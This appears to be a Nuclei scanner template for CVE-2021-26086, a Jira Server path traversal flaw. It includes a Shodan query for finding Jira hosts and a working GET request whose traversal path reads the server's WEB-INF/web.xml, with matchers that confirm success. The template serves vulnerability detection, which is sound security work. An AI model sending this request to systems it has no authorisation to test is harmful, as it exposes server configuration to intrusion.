id: CVE-2021-26086

info:
  name: Atlassian Jira Limited -  Local File Inclusion
  author: cocxanh
  severity: medium
  description: Affected versions of Atlassian Jira Limited Server and Data Center are vulnerable to local file inclusion because they allow remote attackers to read particular files via a path traversal vulnerability in the /WEB-INF/web.xml endpoint.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-72695
    - http://packetstormsecurity.com/files/164405/Atlassian-Jira-Server-Data-Center-8.4.0-File-Read.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26086
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-26086
    cwe-id: CWE-22
  metadata:
    shodan-query: http.component:"Atlassian Jira"
  tags: lfi,packetstorm,cve,cve2021,jira

requests:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<web-app"
          - "</web-app>"
        part: body
        condition: and

# Enhanced by mp on 2022/07/22